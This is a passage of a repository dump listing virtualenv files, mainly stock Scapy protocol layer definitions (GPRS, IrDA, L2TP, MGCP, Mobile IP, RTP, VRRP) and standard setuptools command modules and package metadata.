34 | _import_star(_l)
35 | except Exception,e:
36 | log.warning("can't import layer %s: %s" % (_l,e))
37 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/gprs.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | GPRS (General Packet Radio Service) for mobile data communication.
8 | """
9 |
10 | from scapy.fields import *
11 | from scapy.packet import *
12 | from scapy.layers.inet import IP
13 |
14 | class GPRS(Packet):
15 | name = "GPRSdummy"
16 | fields_desc = [
17 | StrStopField("dummy","","\x65\x00\x00",1)
18 | ]
19 |
20 |
21 | bind_layers( GPRS, IP, )
22 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/ir.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | IrDA infrared data communication.
8 | """
9 |
10 | from scapy.packet import *
11 | from scapy.fields import *
12 | from scapy.layers.l2 import CookedLinux
13 |
14 |
15 |
16 | # IR
17 |
18 | class IrLAPHead(Packet):
19 | name = "IrDA Link Access Protocol Header"
20 | fields_desc = [ XBitField("Address", 0x7f, 7),
21 | BitEnumField("Type", 1, 1, {"Response":0,
22 | "Command":1})]
23 |
24 | class IrLAPCommand(Packet):
25 | name = "IrDA Link Access Protocol Command"
26 | fields_desc = [ XByteField("Control", 0),
27 | XByteField("Format identifier", 0),
28 | XIntField("Source address", 0),
29 | XIntField("Destination address", 0xffffffffL),
30 | XByteField("Discovery flags", 0x1),
31 | ByteEnumField("Slot number", 255, {"final":255}),
32 | XByteField("Version", 0)]
33 |
34 |
35 | class IrLMP(Packet):
36 | name = "IrDA Link Management Protocol"
37 | fields_desc = [ XShortField("Service hints", 0),
38 | XByteField("Character set", 0),
39 | StrField("Device name", "") ]
40 |
41 |
42 | bind_layers( CookedLinux, IrLAPHead, proto=23)
43 | bind_layers( IrLAPHead, IrLAPCommand, Type=1)
44 | bind_layers( IrLAPCommand, IrLMP, )
45 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/l2tp.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | L2TP (Layer 2 Tunneling Protocol) for VPNs.
8 |
9 | [RFC 2661]
10 | """
11 |
12 | import struct
13 |
14 | from scapy.packet import *
15 | from scapy.fields import *
16 | from scapy.layers.inet import UDP
17 | from scapy.layers.ppp import PPP
18 |
19 | class L2TP(Packet):
20 | fields_desc = [ ShortEnumField("pkt_type",2,{2:"data"}),
21 | ShortField("len", None),
22 | ShortField("tunnel_id", 0),
23 | ShortField("session_id", 0),
24 | ShortField("ns", 0),
25 | ShortField("nr", 0),
26 | ShortField("offset", 0) ]
27 |
28 | def post_build(self, pkt, pay):
29 | if self.len is None:
30 | l = len(pkt)+len(pay)
31 | pkt = pkt[:2]+struct.pack("!H", l)+pkt[4:]
32 | return pkt+pay
33 |
34 |
35 | bind_layers( UDP, L2TP, sport=1701, dport=1701)
36 | bind_layers( L2TP, PPP, )
37 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/mgcp.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | MGCP (Media Gateway Control Protocol)
8 |
9 | [RFC 2805]
10 | """
11 |
12 | from scapy.packet import *
13 | from scapy.fields import *
14 | from scapy.layers.inet import UDP
15 |
16 | class MGCP(Packet):
17 | name = "MGCP"
18 | longname = "Media Gateway Control Protocol"
19 | fields_desc = [ StrStopField("verb","AUEP"," ", -1),
20 | StrFixedLenField("sep1"," ",1),
21 | StrStopField("transaction_id","1234567"," ", -1),
22 | StrFixedLenField("sep2"," ",1),
23 | StrStopField("endpoint","dummy@dummy.net"," ", -1),
24 | StrFixedLenField("sep3"," ",1),
25 | StrStopField("version","MGCP 1.0 NCS 1.0","\x0a", -1),
26 | StrFixedLenField("sep4","\x0a",1),
27 | ]
28 |
29 |
30 | #class MGCP(Packet):
31 | # name = "MGCP"
32 | # longname = "Media Gateway Control Protocol"
33 | # fields_desc = [ ByteEnumField("type",0, ["request","response","others"]),
34 | # ByteField("code0",0),
35 | # ByteField("code1",0),
36 | # ByteField("code2",0),
37 | # ByteField("code3",0),
38 | # ByteField("code4",0),
39 | # IntField("trasid",0),
40 | # IntField("req_time",0),
41 | # ByteField("is_duplicate",0),
42 | # ByteField("req_available",0) ]
43 | #
44 | bind_layers( UDP, MGCP, dport=2727)
45 | bind_layers( UDP, MGCP, sport=2727)
46 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/mobileip.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Mobile IP.
8 | """
9 |
10 | from scapy.fields import *
11 | from scapy.packet import *
12 | from scapy.layers.inet import IP,UDP
13 |
14 |
15 | class MobileIP(Packet):
16 | name = "Mobile IP (RFC3344)"
17 | fields_desc = [ ByteEnumField("type", 1, {1:"RRQ", 3:"RRP"}) ]
18 |
19 | class MobileIPRRQ(Packet):
20 | name = "Mobile IP Registration Request (RFC3344)"
21 | fields_desc = [ XByteField("flags", 0),
22 | ShortField("lifetime", 180),
23 | IPField("homeaddr", "0.0.0.0"),
24 | IPField("haaddr", "0.0.0.0"),
25 | IPField("coaddr", "0.0.0.0"),
26 | LongField("id", 0), ]
27 |
28 | class MobileIPRRP(Packet):
29 | name = "Mobile IP Registration Reply (RFC3344)"
30 | fields_desc = [ ByteField("code", 0),
31 | ShortField("lifetime", 180),
32 | IPField("homeaddr", "0.0.0.0"),
33 | IPField("haaddr", "0.0.0.0"),
34 | LongField("id", 0), ]
35 |
36 | class MobileIPTunnelData(Packet):
37 | name = "Mobile IP Tunnel Data Message (RFC3519)"
38 | fields_desc = [ ByteField("nexthdr", 4),
39 | ShortField("res", 0) ]
40 |
41 |
42 | bind_layers( UDP, MobileIP, sport=434)
43 | bind_layers( UDP, MobileIP, dport=434)
44 | bind_layers( MobileIP, MobileIPRRQ, type=1)
45 | bind_layers( MobileIP, MobileIPRRP, type=3)
46 | bind_layers( MobileIP, MobileIPTunnelData, type=4)
47 | bind_layers( MobileIPTunnelData, IP, nexthdr=4)
48 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/rtp.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | RTP (Real-time Transport Protocol).
8 | """
9 |
10 | from scapy.packet import *
11 | from scapy.fields import *
12 |
13 | _rtp_payload_types = {
14 | # http://www.iana.org/assignments/rtp-parameters
15 | 0: 'G.711 PCMU', 3: 'GSM',
16 | 4: 'G723', 5: 'DVI4',
17 | 6: 'DVI4', 7: 'LPC',
18 | 8: 'PCMA', 9: 'G722',
19 | 10: 'L16', 11: 'L16',
20 | 12: 'QCELP', 13: 'CN',
21 | 14: 'MPA', 15: 'G728',
22 | 16: 'DVI4', 17: 'DVI4',
23 | 18: 'G729', 25: 'CelB',
24 | 26: 'JPEG', 28: 'nv',
25 | 31: 'H261', 32: 'MPV',
26 | 33: 'MP2T', 34: 'H263' }
27 |
28 | class RTP(Packet):
29 | name="RTP"
30 | fields_desc = [ BitField('version', 2, 2),
31 | BitField('padding', 0, 1),
32 | BitField('extension', 0, 1),
33 | BitFieldLenField('numsync', None, 4, count_of='sync'),
34 | BitField('marker', 0, 1),
35 | BitEnumField('payload_type', 0, 7, _rtp_payload_types),
36 | ShortField('sequence', 0),
37 | IntField('timestamp', 0),
38 | IntField('sourcesync', 0),
39 | FieldListField('sync', [], IntField("id",0), count_from=lambda pkt:pkt.numsync) ]
40 |
41 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/tls/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Arnaud Ebalard, Maxence Tury
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Tools for handling TLS sessions and digital certificates.
8 | """
9 |
10 | try:
11 | import Crypto
12 | except ImportError:
13 | import logging
14 | log_loading = logging.getLogger("scapy.loading")
15 | log_loading.info("Can't import python Crypto lib. Disabled certificate manipulation tools")
16 |
17 | try:
18 | import ecdsa
19 | except ImportError:
20 | import logging
21 | log_loading = logging.getLogger("scapy.loading")
22 | log_loading.info("Can't import python ecdsa lib. Disabled certificate manipulation tools")
23 | else:
24 | from scapy.layers.tls.cert import *
25 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/tls/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/scapy/layers/tls/crypto/__init__.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/vrrp.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## Copyright (C) 6WIND
5 | ## This program is published under a GPLv2 license
6 |
7 | """
8 | VRRP (Virtual Router Redundancy Protocol).
9 | """
10 |
11 | from scapy.packet import *
12 | from scapy.fields import *
13 | from scapy.layers.inet import IP
14 |
15 | IPPROTO_VRRP=112
16 |
17 | # RFC 3768 - Virtual Router Redundancy Protocol (VRRP)
18 | class VRRP(Packet):
19 | fields_desc = [
20 | BitField("version" , 2, 4),
21 | BitField("type" , 1, 4),
22 | ByteField("vrid", 1),
23 | ByteField("priority", 100),
24 | FieldLenField("ipcount", None, count_of="addrlist", fmt="B"),
25 | ByteField("authtype", 0),
26 | ByteField("adv", 1),
27 | XShortField("chksum", None),
28 | FieldListField("addrlist", [], IPField("", "0.0.0.0"),
29 | count_from = lambda pkt: pkt.ipcount),
30 | IntField("auth1", 0),
31 | IntField("auth2", 0) ]
32 |
33 | def post_build(self, p, pay):
34 | if self.chksum is None:
35 | ck = checksum(p)
36 | p = p[:6]+chr(ck>>8)+chr(ck&0xff)+p[8:]
37 | return p
38 |
39 | bind_layers( IP, VRRP, proto=IPPROTO_VRRP)
40 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/modules/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package of extension modules that have to be loaded explicitly.
8 | """
9 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/tools/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Additional tools to be run separately
8 | """
9 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools-38.2.5.dist-info/DESCRIPTION.rst:
--------------------------------------------------------------------------------
1 | .. image:: https://img.shields.io/pypi/v/setuptools.svg
2 | :target: https://pypi.org/project/setuptools
3 |
4 | .. image:: https://readthedocs.org/projects/setuptools/badge/?version=latest
5 | :target: https://setuptools.readthedocs.io
6 |
7 | .. image:: https://img.shields.io/travis/pypa/setuptools/master.svg?label=Linux%20build%20%40%20Travis%20CI
8 | :target: https://travis-ci.org/pypa/setuptools
9 |
10 | .. image:: https://img.shields.io/appveyor/ci/jaraco/setuptools/master.svg?label=Windows%20build%20%40%20Appveyor
11 | :target: https://ci.appveyor.com/project/jaraco/setuptools/branch/master
12 |
13 | .. image:: https://img.shields.io/pypi/pyversions/setuptools.svg
14 |
15 | See the `Installation Instructions
16 | `_ in the Python Packaging
17 | User's Guide for instructions on installing, upgrading, and uninstalling
18 | Setuptools.
19 |
20 | The project is `maintained at GitHub `_.
21 |
22 | Questions and comments should be directed to the `distutils-sig
23 | mailing list `_.
24 | Bug reports and especially tested patches may be
25 | submitted directly to the `bug tracker
26 | `_.
27 |
28 |
29 | Code of Conduct
30 | ---------------
31 |
32 | Everyone interacting in the setuptools project's codebases, issue trackers,
33 | chat rooms, and mailing lists is expected to follow the
34 | `PyPA Code of Conduct `_.
35 |
36 |
37 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools-38.2.5.dist-info/INSTALLER:
--------------------------------------------------------------------------------
1 | pip
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools-38.2.5.dist-info/LICENSE.txt:
--------------------------------------------------------------------------------
1 | Copyright (C) 2016 Jason R Coombs
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of
4 | this software and associated documentation files (the "Software"), to deal in
5 | the Software without restriction, including without limitation the rights to
6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
7 | of the Software, and to permit persons to whom the Software is furnished to do
8 | so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in all
11 | copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19 | SOFTWARE.
20 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools-38.2.5.dist-info/WHEEL:
--------------------------------------------------------------------------------
1 | Wheel-Version: 1.0
2 | Generator: bdist_wheel (0.30.0)
3 | Root-Is-Purelib: true
4 | Tag: py2-none-any
5 | Tag: py3-none-any
6 |
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools-38.2.5.dist-info/dependency_links.txt:
--------------------------------------------------------------------------------
1 | https://files.pythonhosted.org/packages/source/c/certifi/certifi-2016.9.26.tar.gz#md5=baa81e951a29958563689d868ef1064d
2 | https://files.pythonhosted.org/packages/source/w/wincertstore/wincertstore-0.2.zip#md5=ae728f2f007185648d0c7a8679b361e2
3 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools-38.2.5.dist-info/top_level.txt:
--------------------------------------------------------------------------------
1 | easy_install
2 | pkg_resources
3 | setuptools
4 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools-38.2.5.dist-info/zip-safe:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/cli-32.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/setuptools/cli-32.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/cli-64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/setuptools/cli-64.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/cli.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/setuptools/cli.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/__init__.py:
--------------------------------------------------------------------------------
1 | __all__ = [
2 | 'alias', 'bdist_egg', 'bdist_rpm', 'build_ext', 'build_py', 'develop',
3 | 'easy_install', 'egg_info', 'install', 'install_lib', 'rotate', 'saveopts',
4 | 'sdist', 'setopt', 'test', 'install_egg_info', 'install_scripts',
5 | 'register', 'bdist_wininst', 'upload_docs', 'upload', 'build_clib',
6 | 'dist_info',
7 | ]
8 |
9 | from distutils.command.bdist import bdist
10 | import sys
11 |
12 | from setuptools.command import install_scripts
13 |
14 | if 'egg' not in bdist.format_commands:
15 | bdist.format_command['egg'] = ('bdist_egg', "Python .egg file")
16 | bdist.format_commands.append('egg')
17 |
18 | del bdist, sys
19 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/bdist_rpm.py:
--------------------------------------------------------------------------------
1 | import distutils.command.bdist_rpm as orig
2 |
3 |
4 | class bdist_rpm(orig.bdist_rpm):
5 | """
6 | Override the default bdist_rpm behavior to do the following:
7 |
8 | 1. Run egg_info to ensure the name and version are properly calculated.
9 | 2. Always run 'install' using --single-version-externally-managed to
10 | disable eggs in RPM distributions.
11 | 3. Replace dash with underscore in the version numbers for better RPM
12 | compatibility.
13 | """
14 |
15 | def run(self):
16 | # ensure distro name is up-to-date
17 | self.run_command('egg_info')
18 |
19 | orig.bdist_rpm.run(self)
20 |
21 | def _make_spec_file(self):
22 | version = self.distribution.get_version()
23 | rpmversion = version.replace('-', '_')
24 | spec = orig.bdist_rpm._make_spec_file(self)
25 | line23 = '%define version ' + version
26 | line24 = '%define version ' + rpmversion
27 | spec = [
28 | line.replace(
29 | "Source0: %{name}-%{version}.tar",
30 | "Source0: %{name}-%{unmangled_version}.tar"
31 | ).replace(
32 | "setup.py install ",
33 | "setup.py install --single-version-externally-managed "
34 | ).replace(
35 | "%setup",
36 | "%setup -n %{name}-%{unmangled_version}"
37 | ).replace(line23, line24)
38 | for line in spec
39 | ]
40 | insert_loc = spec.index(line24) + 1
41 | unmangled_version = "%define unmangled_version " + version
42 | spec.insert(insert_loc, unmangled_version)
43 | return spec
44 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/bdist_wininst.py:
--------------------------------------------------------------------------------
1 | import distutils.command.bdist_wininst as orig
2 |
3 |
4 | class bdist_wininst(orig.bdist_wininst):
5 | def reinitialize_command(self, command, reinit_subcommands=0):
6 | """
7 | Supplement reinitialize_command to work around
8 | http://bugs.python.org/issue20819
9 | """
10 | cmd = self.distribution.reinitialize_command(
11 | command, reinit_subcommands)
12 | if command in ('install', 'install_lib'):
13 | cmd.install_lib = None
14 | return cmd
15 |
16 | def run(self):
17 | self._is_running = True
18 | try:
19 | orig.bdist_wininst.run(self)
20 | finally:
21 | self._is_running = False
22 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/dist_info.py:
--------------------------------------------------------------------------------
1 | """
2 | Create a dist_info directory
3 | As defined in the wheel specification
4 | """
5 |
6 | import os
7 |
8 | from distutils.core import Command
9 | from distutils import log
10 |
11 |
12 | class dist_info(Command):
13 |
14 | description = 'create a .dist-info directory'
15 |
16 | user_options = [
17 | ('egg-base=', 'e', "directory containing .egg-info directories"
18 | " (default: top of the source tree)"),
19 | ]
20 |
21 | def initialize_options(self):
22 | self.egg_base = None
23 |
24 | def finalize_options(self):
25 | pass
26 |
27 | def run(self):
28 | egg_info = self.get_finalized_command('egg_info')
29 | egg_info.egg_base = self.egg_base
30 | egg_info.finalize_options()
31 | egg_info.run()
32 | dist_info_dir = egg_info.egg_info[:-len('.egg-info')] + '.dist-info'
33 | log.info("creating '{}'".format(os.path.abspath(dist_info_dir)))
34 |
35 | bdist_wheel = self.get_finalized_command('bdist_wheel')
36 | bdist_wheel.egg2dist(egg_info.egg_info, dist_info_dir)
37 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/install_egg_info.py:
--------------------------------------------------------------------------------
1 | from distutils import log, dir_util
2 | import os
3 |
4 | from setuptools import Command
5 | from setuptools import namespaces
6 | from setuptools.archive_util import unpack_archive
7 | import pkg_resources
8 |
9 |
10 | class install_egg_info(namespaces.Installer, Command):
11 | """Install an .egg-info directory for the package"""
12 |
13 | description = "Install an .egg-info directory for the package"
14 |
15 | user_options = [
16 | ('install-dir=', 'd', "directory to install to"),
17 | ]
18 |
19 | def initialize_options(self):
20 | self.install_dir = None
21 |
22 | def finalize_options(self):
23 | self.set_undefined_options('install_lib',
24 | ('install_dir', 'install_dir'))
25 | ei_cmd = self.get_finalized_command("egg_info")
26 | basename = pkg_resources.Distribution(
27 | None, None, ei_cmd.egg_name, ei_cmd.egg_version
28 | ).egg_name() + '.egg-info'
29 | self.source = ei_cmd.egg_info
30 | self.target = os.path.join(self.install_dir, basename)
31 | self.outputs = []
32 |
33 | def run(self):
34 | self.run_command('egg_info')
35 | if os.path.isdir(self.target) and not os.path.islink(self.target):
36 | dir_util.remove_tree(self.target, dry_run=self.dry_run)
37 | elif os.path.exists(self.target):
38 | self.execute(os.unlink, (self.target,), "Removing " + self.target)
39 | if not self.dry_run:
40 | pkg_resources.ensure_directory(self.target)
41 | self.execute(
42 | self.copytree, (), "Copying %s to %s" % (self.source, self.target)
43 | )
44 | self.install_namespaces()
45 |
46 | def get_outputs(self):
47 | return self.outputs
48 |
49 | def copytree(self):
50 | # Copy the .egg-info tree to site-packages
51 | def skimmer(src, dst):
52 | # filter out source-control directories; note that 'src' is always
53 | # a '/'-separated path, regardless of platform. 'dst' is a
54 | # platform-specific path.
55 | for skip in '.svn/', 'CVS/':
56 | if src.startswith(skip) or '/' + skip in src:
57 | return None
58 | self.outputs.append(dst)
59 | log.debug("Copying %s to %s", src, dst)
60 | return dst
61 |
62 | unpack_archive(self.source, self.target, skimmer)
63 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/launcher manifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/register.py:
--------------------------------------------------------------------------------
1 | import distutils.command.register as orig
2 |
3 |
4 | class register(orig.register):
5 | __doc__ = orig.register.__doc__
6 |
7 | def run(self):
8 | # Make sure that we are using valid current name/version info
9 | self.run_command('egg_info')
10 | orig.register.run(self)
11 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/rotate.py:
--------------------------------------------------------------------------------
1 | from distutils.util import convert_path
2 | from distutils import log
3 | from distutils.errors import DistutilsOptionError
4 | import os
5 | import shutil
6 |
7 | from setuptools.extern import six
8 |
9 | from setuptools import Command
10 |
11 |
12 | class rotate(Command):
13 | """Delete older distributions"""
14 |
15 | description = "delete older distributions, keeping N newest files"
16 | user_options = [
17 | ('match=', 'm', "patterns to match (required)"),
18 | ('dist-dir=', 'd', "directory where the distributions are"),
19 | ('keep=', 'k', "number of matching distributions to keep"),
20 | ]
21 |
22 | boolean_options = []
23 |
24 | def initialize_options(self):
25 | self.match = None
26 | self.dist_dir = None
27 | self.keep = None
28 |
29 | def finalize_options(self):
30 | if self.match is None:
31 | raise DistutilsOptionError(
32 | "Must specify one or more (comma-separated) match patterns "
33 | "(e.g. '.zip' or '.egg')"
34 | )
35 | if self.keep is None:
36 | raise DistutilsOptionError("Must specify number of files to keep")
37 | try:
38 | self.keep = int(self.keep)
39 | except ValueError:
40 | raise DistutilsOptionError("--keep must be an integer")
41 | if isinstance(self.match, six.string_types):
42 | self.match = [
43 | convert_path(p.strip()) for p in self.match.split(',')
44 | ]
45 | self.set_undefined_options('bdist', ('dist_dir', 'dist_dir'))
46 |
47 | def run(self):
48 | self.run_command("egg_info")
49 | from glob import glob
50 |
51 | for pattern in self.match:
52 | pattern = self.distribution.get_name() + '*' + pattern
53 | files = glob(os.path.join(self.dist_dir, pattern))
54 | files = [(os.path.getmtime(f), f) for f in files]
55 | files.sort()
56 | files.reverse()
57 |
58 | log.info("%d file(s) matching %s", len(files), pattern)
59 | files = files[self.keep:]
60 | for (t, f) in files:
61 | log.info("Deleting %s", f)
62 | if not self.dry_run:
63 | if os.path.isdir(f):
64 | shutil.rmtree(f)
65 | else:
66 | os.unlink(f)
67 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/saveopts.py:
--------------------------------------------------------------------------------
1 | from setuptools.command.setopt import edit_config, option_base
2 |
3 |
4 | class saveopts(option_base):
5 | """Save command-line options to a file"""
6 |
7 | description = "save supplied options to setup.cfg or other config file"
8 |
9 | def run(self):
10 | dist = self.distribution
11 | settings = {}
12 |
13 | for cmd in dist.command_options:
14 |
15 | if cmd == 'saveopts':
16 | continue # don't save our own options!
17 |
18 | for opt, (src, val) in dist.get_option_dict(cmd).items():
19 | if src == "command line":
20 | settings.setdefault(cmd, {})[opt] = val
21 |
22 | edit_config(self.filename, settings, self.dry_run)
23 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/command/upload.py:
--------------------------------------------------------------------------------
1 | import getpass
2 | from distutils.command import upload as orig
3 |
4 |
5 | class upload(orig.upload):
6 | """
7 | Override default upload behavior to obtain password
8 | in a variety of different ways.
9 | """
10 |
11 | def finalize_options(self):
12 | orig.upload.finalize_options(self)
13 | self.username = (
14 | self.username or
15 | getpass.getuser()
16 | )
17 | # Attempt to obtain password. Short circuit evaluation at the first
18 | # sign of success.
19 | self.password = (
20 | self.password or
21 | self._load_password_from_keyring() or
22 | self._prompt_for_password()
23 | )
24 |
25 | def _load_password_from_keyring(self):
26 | """
27 | Attempt to load password from keyring. Suppress Exceptions.
28 | """
29 | try:
30 | keyring = __import__('keyring')
31 | return keyring.get_password(self.repository, self.username)
32 | except Exception:
33 | pass
34 |
35 | def _prompt_for_password(self):
36 | """
37 | Prompt for a password on the tty. Suppress Exceptions.
38 | """
39 | try:
40 | return getpass.getpass()
41 | except (Exception, KeyboardInterrupt):
42 | pass
43 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/dep_util.py:
--------------------------------------------------------------------------------
1 | from distutils.dep_util import newer_group
2 |
3 | # yes, this is was almost entirely copy-pasted from
4 | # 'newer_pairwise()', this is just another convenience
5 | # function.
6 | def newer_pairwise_group(sources_groups, targets):
7 | """Walk both arguments in parallel, testing if each source group is newer
8 | than its corresponding target. Returns a pair of lists (sources_groups,
9 | targets) where sources is newer than target, according to the semantics
10 | of 'newer_group()'.
11 | """
12 | if len(sources_groups) != len(targets):
13 | raise ValueError("'sources_group' and 'targets' must be the same length")
14 |
15 | # build a pair of lists (sources_groups, targets) where source is newer
16 | n_sources = []
17 | n_targets = []
18 | for i in range(len(sources_groups)):
19 | if newer_group(sources_groups[i], targets[i]):
20 | n_sources.append(sources_groups[i])
21 | n_targets.append(targets[i])
22 |
23 | return n_sources, n_targets
24 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/extension.py:
--------------------------------------------------------------------------------
1 | import re
2 | import functools
3 | import distutils.core
4 | import distutils.errors
5 | import distutils.extension
6 |
7 | from setuptools.extern.six.moves import map
8 |
9 | from .monkey import get_unpatched
10 |
11 |
12 | def _have_cython():
13 | """
14 | Return True if Cython can be imported.
15 | """
16 | cython_impl = 'Cython.Distutils.build_ext'
17 | try:
18 | # from (cython_impl) import build_ext
19 | __import__(cython_impl, fromlist=['build_ext']).build_ext
20 | return True
21 | except Exception:
22 | pass
23 | return False
24 |
25 |
26 | # for compatibility
27 | have_pyrex = _have_cython
28 |
29 | _Extension = get_unpatched(distutils.core.Extension)
30 |
31 |
32 | class Extension(_Extension):
33 | """Extension that uses '.c' files in place of '.pyx' files"""
34 |
35 | def __init__(self, name, sources, *args, **kw):
36 | # The *args is needed for compatibility as calls may use positional
37 | # arguments. py_limited_api may be set only via keyword.
38 | self.py_limited_api = kw.pop("py_limited_api", False)
39 | _Extension.__init__(self, name, sources, *args, **kw)
40 |
41 | def _convert_pyx_sources_to_lang(self):
42 | """
43 | Replace sources with .pyx extensions to sources with the target
44 | language extension. This mechanism allows language authors to supply
45 | pre-converted sources but to prefer the .pyx sources.
46 | """
47 | if _have_cython():
48 | # the build has Cython, so allow it to compile the .pyx files
49 | return
50 | lang = self.language or ''
51 | target_ext = '.cpp' if lang.lower() == 'c++' else '.c'
52 | sub = functools.partial(re.sub, '.pyx$', target_ext)
53 | self.sources = list(map(sub, self.sources))
54 |
55 |
56 | class Library(Extension):
57 | """Just like a regular Extension, but built as a library instead"""
58 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/extern/__init__.py:
--------------------------------------------------------------------------------
1 | from pkg_resources.extern import VendorImporter
2 |
3 | names = 'six',
4 | VendorImporter(__name__, names, 'pkg_resources._vendor').install()
5 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/gui-32.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/setuptools/gui-32.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/gui-64.exe:
--------------------------------------------------------------------------------
